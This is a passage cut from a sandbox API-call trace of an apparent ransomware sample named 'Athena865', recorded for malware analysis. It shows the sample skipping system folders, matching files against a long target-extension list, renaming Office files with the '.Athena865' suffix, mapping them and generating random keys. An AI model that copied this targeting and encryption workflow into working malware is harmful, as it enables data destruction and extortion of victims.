(lpString1="est", lpString2="mdt") returned -1 [0088.542] lstrlenW (lpString="mfd") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1 [0088.542] lstrlenW (lpString="mpd") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1 [0088.542] lstrlenW (lpString="mrg") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1 [0088.542] lstrlenW (lpString="mud") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mud") returned -1 [0088.543] lstrlenW (lpString="mwb") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1 [0088.543] lstrlenW (lpString="myd") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="myd") returned -1 [0088.543] lstrlenW (lpString="ndf") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1 [0088.543] lstrlenW (lpString="nnt") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1 [0088.543] lstrlenW (lpString="nrmlib") returned 6 [0088.543] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1 [0088.543] lstrlenW (lpString="ns2") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1 [0088.543] lstrlenW (lpString="ns3") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1 [0088.543] lstrlenW (lpString="ns4") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1 [0088.543] lstrlenW (lpString="nsf") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1 [0088.543] lstrlenW (lpString="nv") returned 2 [0088.543] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0088.543] lstrlenW (lpString="nv2") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1 [0088.543] lstrlenW (lpString="nwdb") returned 4 [0088.543] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1 [0088.543] lstrlenW (lpString="nyf") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1 [0088.543] lstrlenW (lpString="odb") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0088.543] lstrlenW (lpString="odb") returned 3 [0088.543] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0088.543] lstrlenW (lpString="oqy") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1 [0088.544] lstrlenW (lpString="ora") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="ora") returned -1 [0088.544] lstrlenW (lpString="orx") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="orx") returned -1 [0088.544] lstrlenW (lpString="owc") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="owc") returned -1 [0088.544] lstrlenW (lpString="p96") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="p96") returned -1 [0088.544] lstrlenW (lpString="p97") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="p97") returned -1 [0088.544] lstrlenW (lpString="pan") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="pan") returned -1 [0088.544] lstrlenW (lpString="pdb") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1 [0088.544] lstrlenW (lpString="pdm") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1 [0088.544] lstrlenW (lpString="pnz") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1 [0088.544] lstrlenW (lpString="qry") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="qry") returned -1 [0088.544] lstrlenW (lpString="qvd") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1 [0088.544] lstrlenW (lpString="rbf") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1 [0088.544] lstrlenW (lpString="rctd") returned 4 [0088.544] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1 [0088.544] lstrlenW (lpString="rod") returned 3 [0088.544] lstrcmpiW (lpString1="est", lpString2="rod") returned -1 [0088.544] lstrlenW (lpString="rodx") returned 4 [0088.544] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1 [0088.545] lstrlenW (lpString="rpd") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1 [0088.545] lstrlenW (lpString="rsd") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1 [0088.545] lstrlenW (lpString="sas7bdat") returned 8 [0088.545] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1 [0088.545] lstrlenW (lpString="sbf") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1 [0088.545] lstrlenW (lpString="scx") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="scx") returned -1 [0088.545] lstrlenW (lpString="sdb") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1 [0088.545] lstrlenW (lpString="sdc") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1 [0088.545] lstrlenW (lpString="sdf") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1 [0088.545] lstrlenW (lpString="sis") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="sis") returned -1 [0088.545] lstrlenW (lpString="spq") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="spq") returned -1 [0088.545] lstrlenW (lpString="te") returned 2 [0088.545] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0088.545] lstrlenW (lpString="teacher") returned 7 [0088.545] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1 [0088.545] lstrlenW (lpString="tmd") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1 [0088.545] lstrlenW (lpString="tps") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="tps") returned -1 [0088.545] lstrlenW (lpString="trc") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0088.545] lstrlenW (lpString="trc") returned 3 [0088.545] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0088.545] lstrlenW (lpString="trm") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="trm") returned -1 [0088.546] lstrlenW (lpString="udb") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="udb") returned -1 [0088.546] lstrlenW (lpString="udl") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="udl") returned -1 [0088.546] lstrlenW (lpString="usr") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="usr") returned -1 [0088.546] lstrlenW (lpString="v12") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="v12") returned -1 [0088.546] lstrlenW (lpString="vis") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="vis") returned -1 [0088.546] lstrlenW (lpString="vpd") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1 [0088.546] lstrlenW (lpString="vvv") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1 [0088.546] lstrlenW (lpString="wdb") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1 [0088.546] lstrlenW (lpString="wmdb") returned 4 [0088.546] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1 [0088.546] lstrlenW (lpString="wrk") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1 [0088.546] lstrlenW (lpString="xdb") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1 [0088.546] lstrlenW (lpString="xld") returned 3 [0088.546] lstrcmpiW (lpString1="est", lpString2="xld") returned -1 [0088.546] lstrlenW (lpString="xmlff") returned 5 [0088.546] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1 [0088.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest.Athena865") returned 73 [0088.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0088.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.548] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3474) returned 1 [0088.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.549] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.549] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.549] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.550] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a0, lpName=0x0) returned 0x17c [0088.551] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a0) returned 0x100000 [0088.552] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.553] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.553] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.554] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0088.554] CloseHandle (hObject=0x17c) returned 1 [0088.554] CloseHandle (hObject=0x154) returned 1 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.554] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x15b758, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.EXE", cAlternateFileName="")) returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2=".") returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="..") returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="windows") returned 1 [0088.554] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="bootmgr") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="temp") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="pagefile.sys") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="boot") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="ids.txt") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="ntuser.dat") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="perflogs") returned 1 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="MSBuild") returned 1 [0088.555] lstrlenW (lpString="WINWORD.EXE") returned 11 [0088.555] lstrcpyW (in: lpString1=0x241e89e, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0088.555] lstrlenW (lpString="WINWORD.EXE") returned 11 [0088.555] lstrlenW (lpString="Athena865") returned 9 [0088.555] lstrcmpiW (lpString1="NWORD.EXE", lpString2="Athena865") returned 1 [0088.555] lstrlenW (lpString=".dll") returned 4 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2=".dll") returned 1 [0088.555] lstrlenW (lpString=".lnk") returned 4 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2=".lnk") returned 1 [0088.555] lstrlenW (lpString=".ini") returned 4 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2=".ini") returned 1 [0088.555] lstrlenW (lpString=".sys") returned 4 [0088.555] lstrcmpiW (lpString1="WINWORD.EXE", lpString2=".sys") returned 1 [0088.555] lstrlenW (lpString="WINWORD.EXE") returned 11 [0088.555] lstrlenW (lpString="bak") returned 3 [0088.555] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0088.555] lstrlenW (lpString="ba_") returned 3 [0088.555] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0088.555] lstrlenW (lpString="dbb") returned 3 [0088.555] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0088.555] lstrlenW (lpString="vmdk") returned 4 [0088.555] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0088.556] lstrlenW (lpString="rar") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0088.556] lstrlenW (lpString="zip") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0088.556] lstrlenW (lpString="tgz") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0088.556] lstrlenW (lpString="vbox") returned 4 [0088.556] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0088.556] lstrlenW (lpString="vdi") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0088.556] lstrlenW (lpString="vhd") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0088.556] lstrlenW (lpString="vhdx") returned 4 [0088.556] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0088.556] lstrlenW (lpString="avhd") returned 4 [0088.556] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0088.556] lstrlenW (lpString="db") returned 2 [0088.556] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0088.556] lstrlenW (lpString="db2") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0088.556] lstrlenW (lpString="db3") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0088.556] lstrlenW (lpString="dbf") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0088.556] lstrlenW (lpString="mdf") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0088.556] lstrlenW (lpString="mdb") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0088.556] lstrlenW (lpString="sql") returned 3 [0088.556] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0088.557] lstrlenW (lpString="sqlite") returned 6 [0088.557] lstrcmpiW (lpString1="RD.EXE", lpString2="sqlite") returned -1 [0088.557] lstrlenW (lpString="sqlite3") returned 7 [0088.557] lstrcmpiW (lpString1="ORD.EXE", lpString2="sqlite3") returned -1 [0088.557] lstrlenW (lpString="sqlitedb") returned 8 [0088.557] lstrcmpiW (lpString1="WORD.EXE", lpString2="sqlitedb") returned 1 [0088.557] lstrlenW (lpString="xml") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0088.557] lstrlenW (lpString="$er") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0088.557] lstrlenW (lpString="4dd") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0088.557] lstrlenW (lpString="4dl") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0088.557] lstrlenW (lpString="^^^") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0088.557] lstrlenW (lpString="abs") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0088.557] lstrlenW (lpString="abx") returned 3 [0088.557] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0088.557] lstrlenW (lpString="accdb") returned 5 [0088.557] lstrcmpiW (lpString1="D.EXE", lpString2="accdb") returned 1 [0088.557] lstrlenW (lpString="accdc") returned 5 [0088.557] lstrcmpiW (lpString1="D.EXE", lpString2="accdc") returned 1 [0088.557] lstrlenW (lpString="accde") returned 5 [0088.557] lstrcmpiW (lpString1="D.EXE", lpString2="accde") returned 1 [0088.557] lstrlenW (lpString="accdr") returned 5 [0088.557] lstrcmpiW (lpString1="D.EXE", lpString2="accdr") returned 1 [0088.557] lstrlenW (lpString="accdt") returned 5 [0088.557] lstrcmpiW (lpString1="D.EXE", lpString2="accdt") returned 1 [0088.557] lstrlenW (lpString="accdw") returned 5 [0088.558] lstrcmpiW (lpString1="D.EXE", lpString2="accdw") returned 1 [0088.558] lstrlenW (lpString="accft") returned 5 [0088.558] lstrcmpiW (lpString1="D.EXE", lpString2="accft") returned 1 [0088.558] lstrlenW (lpString="adb") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0088.558] lstrlenW (lpString="adb") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0088.558] lstrlenW (lpString="ade") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0088.558] lstrlenW (lpString="adf") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0088.558] lstrlenW (lpString="adn") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0088.558] lstrlenW (lpString="adp") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0088.558] lstrlenW (lpString="alf") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0088.558] lstrlenW (lpString="ask") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0088.558] lstrlenW (lpString="btr") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0088.558] lstrlenW (lpString="cat") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0088.558] lstrlenW (lpString="cdb") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0088.558] lstrlenW (lpString="ckp") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0088.558] lstrlenW (lpString="cma") returned 3 [0088.558] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0088.559] lstrlenW (lpString="cpd") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0088.559] lstrlenW (lpString="dacpac") returned 6 [0088.559] lstrcmpiW (lpString1="RD.EXE", lpString2="dacpac") returned 1 [0088.559] lstrlenW (lpString="dad") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0088.559] lstrlenW (lpString="dadiagrams") returned 10 [0088.559] lstrcmpiW (lpString1="INWORD.EXE", lpString2="dadiagrams") returned 1 [0088.559] lstrlenW (lpString="daschema") returned 8 [0088.559] lstrcmpiW (lpString1="WORD.EXE", lpString2="daschema") returned 1 [0088.559] lstrlenW (lpString="db-journal") returned 10 [0088.559] lstrcmpiW (lpString1="INWORD.EXE", lpString2="db-journal") returned 1 [0088.559] lstrlenW (lpString="db-shm") returned 6 [0088.559] lstrcmpiW (lpString1="RD.EXE", lpString2="db-shm") returned 1 [0088.559] lstrlenW (lpString="db-wal") returned 6 [0088.559] lstrcmpiW (lpString1="RD.EXE", lpString2="db-wal") returned 1 [0088.559] lstrlenW (lpString="dbc") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0088.559] lstrlenW (lpString="dbs") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0088.559] lstrlenW (lpString="dbt") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0088.559] lstrlenW (lpString="dbv") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0088.559] lstrlenW (lpString="dbx") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0088.559] lstrlenW (lpString="dcb") returned 3 [0088.559] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0088.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE.Athena865") returned 64 [0088.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\winword.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winword.exe.athena865"), dwFlags=0x1) returned 1 [0088.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winword.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.561] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1423192) returned 1 [0088.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.562] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.562] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.562] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15ba60, lpName=0x0) returned 0x17c [0088.562] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15ba60) returned 0x2d50000 [0088.619] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.620] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.620] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.621] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.633] CloseHandle (hObject=0x17c) returned 1 [0088.633] CloseHandle (hObject=0x154) returned 1 [0088.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.640] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x67eb58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wordcnv.dll", cAlternateFileName="")) returned 1 [0088.640] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2=".") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="..") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="windows") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="bootmgr") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="temp") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="pagefile.sys") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="boot") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="ids.txt") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="ntuser.dat") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="perflogs") returned 1 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2="MSBuild") returned 1 [0088.641] lstrlenW (lpString="Wordcnv.dll") returned 11 [0088.641] lstrcpyW (in: lpString1=0x241e89e, 